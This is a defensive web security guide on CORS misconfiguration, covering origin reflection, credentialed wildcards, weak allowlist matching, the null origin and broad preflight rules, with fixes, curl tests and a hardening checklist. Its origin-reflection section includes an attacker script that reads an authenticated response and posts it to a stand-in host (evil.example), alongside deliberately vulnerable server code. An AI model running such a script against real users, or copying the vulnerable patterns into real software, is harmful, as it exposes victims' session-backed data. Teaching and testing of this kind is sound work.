CORS Misconfiguration: Exploitation, Examples, and Prevention Guide
CORS Bugs Usually Start as Convenience Fixes
CORS rarely gets weakened during a formal architecture review. It usually gets weakened on a rushed afternoon when someone needs the SPA to talk to the API, a staging domain is not on the allowlist, or a partner integration needs "temporary" access.
That is why so many real-world CORS issues look almost innocent in code review. The change is small. The header looks familiar. The app still works. Then somebody notices an authenticated endpoint can be read from a domain the business never meant to trust.
| CORS Mistake | What Happens |
|---|---|
| Wildcard origin with sensitive data | Any site can read public API responses |
| Origin reflection | Attacker-controlled sites become trusted |
| Credentials enabled for broad origins | Session-backed endpoints are exposed cross-site |
Trusting .example.com with weak matching | Subdomain takeover can become account compromise |
Allowing null origin | Sandboxed iframes and local files can access data |
Important: CORS does not protect your API from direct server-to-server requests. It only tells browsers which origins can read responses.
How CORS Actually Works
When a browser makes a cross-origin request, it includes an Origin header. The server decides whether that origin may read the response by returning headers such as:
Access-Control-Allow-OriginAccess-Control-Allow-CredentialsAccess-Control-Allow-MethodsAccess-Control-Allow-Headers
For non-simple requests, the browser first sends a preflight OPTIONS request to ask which methods and headers are allowed.
If the server gets this wrong, an attacker can host a malicious page that silently makes authenticated requests from the victim's browser.
Vulnerability 1: Origin Reflection
This is the most common production issue. The backend copies whatever the browser sends in Origin and returns it as trusted.
Vulnerable Express Example
app.use((req, res, next) => {
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
An attacker hosts:
<script>
fetch('https://api.target.com/account', {
credentials: 'include'
})
.then((response) => response.text())
.then((body) => fetch('https://evil.example/collect', {
method: 'POST',
body
}));
</script>
If the victim is logged in and the API reflects the malicious origin, the browser will allow the attacker page to read the sensitive response.
Secure Pattern
const allowedOrigins = new Set([
'https://app.securecodereviews.com',
'https://dashboard.securecodereviews.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
Vulnerability 2: Wildcard with Credentials
Browsers block Access-Control-Allow-Origin: * when credentials are enabled, but teams still create equivalent insecure behavior through dynamic reflection or proxy logic.
Common Anti-Pattern
app.use(cors({
origin: true,
credentials: true,
}));
With many middleware stacks, origin: true means "reflect any requesting origin." That is effectively a wildcard for credentialed traffic.
Safer Configuration
import cors from 'cors';
app.use(cors({
origin: ['https://app.securecodereviews.com'],
credentials: true,
methods: ['GET', 'POST', 'PATCH', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
Vulnerability 3: Broken Allowlist Matching
Many CORS filters use substring or suffix checks that attackers can bypass.
Vulnerable Validation
function isTrusted(origin) {
return origin.includes('securecodereviews.com');
}
This trusts all of these attacker-controlled origins:
https://securecodereviews.com.evil.examplehttps://evil-securecodereviews.comhttps://securecodereviews.com@evil.example
Safer Validation
function isTrusted(origin) {
try {
const url = new URL(origin);
return url.origin === 'https://app.securecodereviews.com';
} catch {
return false;
}
}
If you need multiple origins, compare exact normalized origins. Do not rely on regexes unless they are extremely tight and well tested.
Vulnerability 4: Trusting the null Origin
Some browsers send Origin: null for sandboxed iframes, locally opened files, and certain privacy contexts.
Vulnerable Logic
if (!origin || origin === 'null') {
res.setHeader('Access-Control-Allow-Origin', origin || '*');
}
If sensitive endpoints trust null, an attacker can load a malicious payload from a local file or sandboxed frame and read authenticated responses.
Recommendation
- Reject
nullfor authenticated APIs. - Only allow it if you have a very specific non-sensitive use case and have validated the business requirement.
Vulnerability 5: Overly Broad Preflight Rules
Preflight responses often expose more than intended:
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Headers: *
This increases blast radius if an origin is mistakenly trusted. A read-only frontend probably does not need DELETE, PATCH, or custom admin headers.
Better Approach
- Return only methods the frontend really needs.
- Return only specific headers.
- Separate public and sensitive APIs so they do not share one loose CORS policy.
How to Test for CORS Vulnerabilities
1. Basic Reflection Check
curl -i https://api.target.com/profile -H 'Origin: https://evil.example'
Look for:
Access-Control-Allow-Origin: https://evil.exampleAccess-Control-Allow-Credentials: true
That combination is a serious finding on any authenticated endpoint.
2. Null Origin Check
curl -i https://api.target.com/profile -H 'Origin: null'
3. Preflight Inspection
curl -i -X OPTIONS https://api.target.com/admin/users -H 'Origin: https://app.example.com' -H 'Access-Control-Request-Method: DELETE' -H 'Access-Control-Request-Headers: authorization,x-admin-token'
Secure CORS Configuration for Next.js Route Handlers
import { NextRequest, NextResponse } from 'next/server';
const allowedOrigins = new Set([
'https://app.securecodereviews.com',
]);
function applyCors(request: NextRequest, response: NextResponse) {
const origin = request.headers.get('origin');
if (origin && allowedOrigins.has(origin)) {
response.headers.set('Access-Control-Allow-Origin', origin);
response.headers.set('Access-Control-Allow-Credentials', 'true');
response.headers.set('Access-Control-Allow-Methods', 'GET,POST');
response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
response.headers.set('Vary', 'Origin');
}
return response;
}
export async function GET(request: NextRequest) {
const response = NextResponse.json({ ok: true });
return applyCors(request, response);
}
CORS Hardening Checklist
- Use exact origin allowlists, not reflection
- Never combine broad origin matching with credentials
- Reject
nullorigin on sensitive endpoints - Scope methods and headers tightly
- Add
Vary: Originwhen responses differ by origin - Separate public APIs from authenticated APIs
- Review subdomain takeover risk before trusting wildcard subdomains
- Test preflight behavior during security reviews
Final Takeaway
CORS misconfiguration is one of those bugs that feels "frontend-ish" right up until it exposes billing data, session-backed APIs, or admin responses. The practical fix is not complicated: be explicit about which origins you trust, be skeptical of any dynamic reflection logic, and review CORS the same way you would review an access-control rule.
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
Secure API Design Patterns: A Developer's Guide
Learn the essential security patterns every API developer should implement, from authentication to rate limiting.
JWT Security: Vulnerabilities, Best Practices & Implementation Guide
Comprehensive JWT security guide covering token anatomy, common vulnerabilities, RS256 vs HS256, refresh tokens, and secure implementation patterns.
Securing Generative AI APIs: MCP Security & Shadow AI Risks in 2026
Model Context Protocol (MCP) is the emerging standard for connecting AI to tools and data. But MCP servers, shadow AI usage, and AI supply chain attacks introduce critical risks. Learn how to secure generative AI APIs.